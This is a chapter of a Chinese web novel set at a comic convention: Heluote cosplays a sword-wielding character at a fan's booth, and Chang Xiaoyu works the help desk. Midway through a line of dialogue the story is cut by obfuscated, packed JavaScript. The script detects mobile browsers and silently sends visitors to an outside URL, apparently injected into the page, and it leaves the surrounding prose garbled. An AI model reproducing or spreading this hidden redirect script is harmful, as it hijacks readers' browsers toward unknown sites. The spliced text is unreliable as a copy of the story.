“我是梁问筠,你喊我扶饶就行。”梁问筠直起腰,见到赫罗特真人,眼睛刷的一下亮了。 她眼尖,一眼看出赫罗特没化妆,居然也能有如此视觉效果。 举起手里的挂绳,手在兜里掏了掏,她掏出一张摊主证来,印刷的彩色铜版纸上用黑水笔潦草写着摊位号和摊位名称。 两手将挂绳在证上一扣,塞到赫罗特手里。 她殷切地看着赫罗特的脸,只觉得贺拉斯在三次元就长这样了。 “时间不早了。”她看了看手表,摆手喊赫罗特走另一头上楼:“你这样不用化妆都可以,带上服装趁着人不是最多的时候赶紧去厕所换上。” 急急忙忙地赶到三楼,从内部人员的入口进入场会,梁问筠推着他来到厕所门口。 只见两条长龙排在门外,尤其是女厕,偌大的场馆,差点要围上四分之一。 男厕稍微等一等,还能有插入的空间。 “你先排队,换完衣服就出来,然后看摊主证上显示的摊位号,大概在那里。”她指了指摊位方向:“对,就是靠近服务台右边场馆的第三排,你一走进就能看到我。” “记住了啊。”话没说完,她一溜烟的跑走。 赫罗特看着手里的袋子,又看了眼厕所。 而常宵雨此时已经换上衣服,坐在了服务台前。 “我的身份证不见了,明明刚才还夹在画集里的。”女孩哭丧着脸。 旁边同样工作的男生看起来不比常宵雨大几岁,他轻车熟路地在柜台下拿出本子摆上,递出一支笔,指引她写下信息,方便失物招领联系。 挥手与女孩道别,漫展还未正式开始,一时间空闲下来。 手刚摸到手机,旁边的两男一女就凑过来。 “你好,我和他都是经常来这边兼职的,那边那个看起来不好说话的人是会场本身的员工,但其实人很好。” 她指了指站在服务台门边,带着眼镜的男人,如她所说,那是一位神情冷淡的人,看起来不好接近。 “如果有什么不懂的可以问我们,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542691|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里工作不忙,就是有点累。” 常宵雨点点头,挂上工作专用的营业微笑:“谢谢。” 同事很热情,常宵雨自然而然地插入到几人话题中,时不时回应一两句,不至于脱离队伍。 经过短暂聊天,她大概了解几人的情况,得知其中几人纯粹是因为爱好才来兼职的,只有眼睛男是为场馆工作,而不是为漫展主办方。 年轻人热情洋溢,一看就明白和她这种为了生计而工作的不同。 在几位同事的指点下,她很快上手工作流程,时间一点点过去,很快,眼镜男的手机响起。 “会场正式开放了,麻烦做好指引来服务台参展者的准备。”他挂断电话,推了推眼镜。 同事们齐齐应下,纷纷坐回柜台后,眼镜男坐在最外边,伸手调整了一下指引牌的角度。 常宵雨别过头,目光投向左边分场。 * 赫罗特身边围绕了许多女孩。 位于人群外围的人们踮脚往里看。 摊位附近水泄不通,坑外人看到如此景象,又听见里面传来阵阵惊呼与笑声,也都好奇地特意走到附近,想知道是什么有着如此大的吸引力。 梁问筠趁机在袋子里薅出喇叭,举起立牌对着大喊。 “瞧一瞧看一看啊!立牌滞销,帮帮我们的新晋女王陛下吧!再没有进账国库空虚就要破产了,贺拉斯都出来卖艺了!” 原作是一部转生乙女番,被吸引来的大多都在坑里待得死死的,但有些人不常来漫展,分不清摊位位置,贺拉斯这有代表性的名字一出,瞬间指明方向,人数又暴涨了。 赫罗特人生头一回如此受欢迎,不知如何是好,但他的外貌包袱让他在慌乱的情形下,依旧根据人设保持着外表的优雅。 这种维持礼仪的感觉,好像回到了小时候,表演上流社会的人设,为了不给父母掉价。 现在的他却并不讨厌这种感觉。 核心不一样了。 没能细想,女生们蜂拥而上,却又保持着一定的距离,不至于太不礼貌。 “老师!您有社交账号吗?我想关注一下您!” “老师老师,和您集个邮可以吗?” 手机镜头翻转合照一张,下一个人按顺序挤上来。 “老师,你能摆出用剑的姿势吗?” 用剑啊。 赫罗特手指点了点剑柄,指节紧握抽出剑鞘。 剑刃朝上,这与有着华丽护手的西洋剑不同,更倾向于东方的秀丽。 人群自动退开,给他留了些许空间发挥。 手腕发力,冷光追赶剑花甩开,腰身与手配合,那剑如臂指使环绕身侧。 破空声如裂帛。 这是动漫中贺拉斯日常练习的剑法,以赫罗特的战斗经验,那剑法自然是完美复刻。 他得意收剑,剑身方才入鞘,想看看常宵雨有没有见到这一幕,忽而被转移了注意力,眉眼一松,视线随着莫名的香气遁去。 不知名的花香。 他吸气判别。 再去放开感应时,那股怪异的气息又无影无踪。 然而赫罗特很确定,这就是灵魂的气息。